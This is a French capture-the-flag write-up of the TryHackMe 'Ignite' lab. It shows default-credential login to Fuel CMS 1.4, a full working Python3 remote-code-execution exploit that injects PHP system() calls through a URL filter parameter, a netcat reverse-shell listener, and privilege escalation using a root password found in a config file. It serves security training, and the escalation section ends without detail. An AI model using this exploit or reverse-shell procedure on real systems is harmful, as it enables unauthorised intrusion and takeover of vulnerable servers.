> **Objectif** : Obtenir un accès initial, comprendre le chemin d’attaque et élever les privilèges dans le cadre contrôlé du lab.

## 1. Reconnaissance

### Scan initial

Dans un premier temps nous allons faire un scan nmap de la cible : 

```bash
sudo nmap -sCV --top-port=10000 -T4 -Pn --disable-arp-ping 10.128.172.143 -oN nmap-ignite
```

![](IMG/Ignite/01-Scan-NMAP.png)

### Hypothèses de départ

- `CMS` semble prioritaire car nous sommes dans un contexte de machine easy et qu'aucun autre port sur les 10 000 de scannés n'est ouvert.
- `Version Apache vulnérable` reste à vérifier, mais rien ne suggère encore…
- `Une entrée non autorisée dans robots.txt`.

---

## 2. Énumération Web

### Service ou application cible

Pour en savoir plus sur le CMS on va se rendre sur la page web : 

![](IMG/Ignite/02-FUEL-CMS.png)

Et si on descend plus bas on a les creds par défaut du CMS : 

![](IMG/Ignite/03-FUEL-CREDS-DEF.png)

Ce qu'on observe :

- `Version du CMS` : version 1.4 qui pourrait être vulnérable ?
- `Répertoire courant d'install du CMS + creds par défaut` : http://IP/fuel + admin:admin

### Analyse approfondie

On va tester les creds par défaut du CMS pour voir si l'on peut trouver quelque chose d'intéressant :

![](IMG/Ignite/05-FUEL-LOG-ADMIN.png)

On est bien connecté en admin mais après un peu plus de recherche rien n'est exploitable pour obtenir un accès initial sur la cible. On va donc essayer de trouver une vulnérabilité sur le CMS avec  `searchsploit`.

```bash
searchsploit fuel
```

![](IMG/Ignite/04-FUEL-SEARCHSPLOIT.png)

Ici on obtient la version du CMS qui est vulnérable, en l'occurence pour notre cas 1.4.1, on a le choix entre 3 exploits. On va donc les tester dans l'ordre. 

```bash
searchsploit -m 47138
```

![](IMG/Ignite/06-FUEL-SEARCHSPLOIT-COPY.png)

Une fois l'exploit copié on va lui donner des droits d'exécution mais aussi regarder comment il fonctionne.

```bash
sudo chmod +x 47138.py
```

---

## 3. Accès initial

### Exploitation de Fuel CMS

On va donc utiliser l'exploit mais après lecture de l'exploit certaines lignes ne nous servent pas (proxy par exemple car nous n'allons pas en utiliser un). Il suffit de modifier l'URL de l'exploit et de l'exécuter. Après quelques erreurs python, je me suis rendu compte que l'exploit était écris en python2 (merci l'IA), il faut donc le ré-écrire en python3 (merci encore l'IA). Voici l'exploit en python3 : 

```python3
import requests
import urllib.parse

url = "http://IP"

def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while True:
    xxxx = input('cmd: ')
    burp0_url = url + "/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27" + urllib.parse.quote(xxxx) + "%27%29%2b%27"
    r = requests.get(burp0_url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text, begin, 2)

    print(r.text[0:dup])
```

![](IMG/Ignite/07-Initial-access.png)

| Élément | Description                  |
| ------- | ---------------------------- |
| Type    | RCE                          |
| Cible   | endpoint du CMS              |
| Impact  | Accès en tant que `www-data` |

### Obtention d'un reverse shell

Pour obtenir un reverse shell on a plusieurs manières. Dans mon cas j'ai vérifié si netcat était présent sur la machine cible : 

![](IMG/Ignite/08-Netcat.png)

Il est présent sur la cible, cela va simplifier les choses, je vais donc démarrer un listener sur ma machine attaquante : 

```bash
nc -nvlp 1234
```

Ensuite je vais récupérer un revshell, j'utilise `revshells.com`pour avoir rapidement des reverse shells. 

![](IMG/Ignite/09-REVSHELL.png)

On va donc lancer cette commande sur la cible distante : 

![](IMG/Ignite/10-REVSHELL-CIBLE.png)

Puis on reçoit bien notre revshell : 

![](IMG/Ignite/11-REVSHELL-OK.png)

### Validation de l’accès initial

Ensuite on va se rendre dans le home de notre user pour récupérer le premier flag : 

![](IMG/Ignite/12-USER-FLAG.png)

---

## 4. Énumération locale

### Vérifications initiales

Une fois le premier flag récupéré, je reprends une phase d’énumération locale plutôt que de chercher un exploit au hasard.

```bash
id
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
ps aux
ss -lntp
```

Après toutes ces commandes aucun éléments s'est avéré intéressant. En revanche, je n'ai pas encore regardé dans les fichiers de configuration de fuel-cms, étant donné que c'est un cms il faut forcément une base de données, des fichiers de conf etc... 

### Recherche des fichiers de configuration

![](IMG/Ignite/13-CONFIG-FIND.png)

Après un peu d'énum et de recherches on tombe sur le fichier database.php qui contient le password de root : 

![](IMG/Ignite/14-ROOT.png)

---

## 5. Élévation de privilèges

### Réutilisation des identifiants root

Plus qu'à switch de user et récupérer le flag !

### Validation des privilèges

---

## 6. Remédiations

- `Correction prioritaire : mettre à jour le CMS et patcher.`
- `Réduire les permissions du dossier config de fuel.`

## 7. Ressources

- [Lien de la room ou machine](https://tryhackme.com/room/ignite)
- [Lien du site pour les reverse shells](https://revshells.com)
